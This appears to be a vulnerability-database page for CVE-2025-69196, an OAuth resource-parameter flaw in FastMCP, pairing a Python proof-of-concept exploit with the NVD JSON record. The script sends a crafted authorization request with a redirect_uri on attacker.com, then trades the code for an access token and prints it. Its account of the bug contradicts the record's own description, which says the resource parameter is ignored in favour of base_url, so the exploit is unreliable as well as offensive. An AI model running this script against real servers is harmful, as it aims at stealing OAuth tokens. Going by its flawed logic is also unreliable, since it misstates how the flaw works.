CVE-2025-69196

import requests import json # CVE-2025-69196 PoC - FastMCP OAuth Authorization Bypass # This PoC demonstrates the resource parameter manipulation in OAuth flow def exploit_cve_2025_69196(target_url, attacker_controlled_url): """ Exploit FastMCP OAuth resource parameter bypass vulnerability Args: target_url: Target FastMCP server URL attacker_controlled_url: Attacker's controlled URL for token issuance """ # Step 1: Initiate OAuth authorization request with manipulated resource parameter auth_endpoint = f"{target_url}/oauth/authorize" # The vulnerable server will use attacker_controlled_url instead of the legitimate MCP server params = { 'response_type': 'code', 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback', 'scope': 'mcp_access', 'resource': attacker_controlled_url # Manipulated resource parameter } response = requests.get(auth_endpoint, params=params) # Step 2: The server incorrectly issues token for attacker_controlled_url # instead of the legitimate MCP server if response.status_code == 200: # Extract the authorization code auth_code = response.json().get('code') # Step 3: Exchange authorization code for access token token_endpoint = f"{target_url}/oauth/token" token_data = { 'grant_type': 'authorization_code', 'code': auth_code, 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback' } token_response = requests.post(token_endpoint, data=token_data) if token_response.status_code == 200: access_token = token_response.json().get('access_token') print(f"[!] Successfully obtained access token for manipulated resource") print(f"[*] Token: {access_token}") return access_token return None # Example usage if __name__ == "__main__": target = "https://vulnerable-fastmcp-server.com" attacker_url = "https://attacker-controlled-site.com/fake-mcp" token = exploit_cve_2025_69196(target, attacker_url) if token: print("[+] Exploitation successful - OAuth token issued for wrong resource")

{"cve": {"id": "CVE-2025-69196", "sourceIdentifier": "[email protected]", "published": "2026-03-16T19:16:14.397", "lastModified": "2026-03-18T15:11:04.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastMCP is the standard framework for building MCP applications. Prior to version 2.14.2, the server does not properly respect the resource parameter submitted by the client in the authorization and token request. Instead of issuing the token explicitly for the MCP server, the token is issued for the base_url passed to the OAuthProxy during initialization. This issue has been patched 2.14.2."}, {"lang": "es", "value": "FastMCP es el framework estándar para construir aplicaciones MCP. Antes de la versión 2.14.2, el servidor no respeta adecuadamente el parámetro de recurso enviado por el cliente en la solicitud de autorización y de token. En lugar de emitir el token explícitamente para el servidor MCP, el token se emite para la base_url pasada al OAuthProxy durante la inicialización. Este problema ha sido parcheado en 2.14.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jlowin:fastmcp:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.14.2", "matchCriteriaId": "D20B7869-1019-4F0B-9135-0EE29889FF4F"}]}]}], "references": [{"url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-5h2m-4q8j-pqpj", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}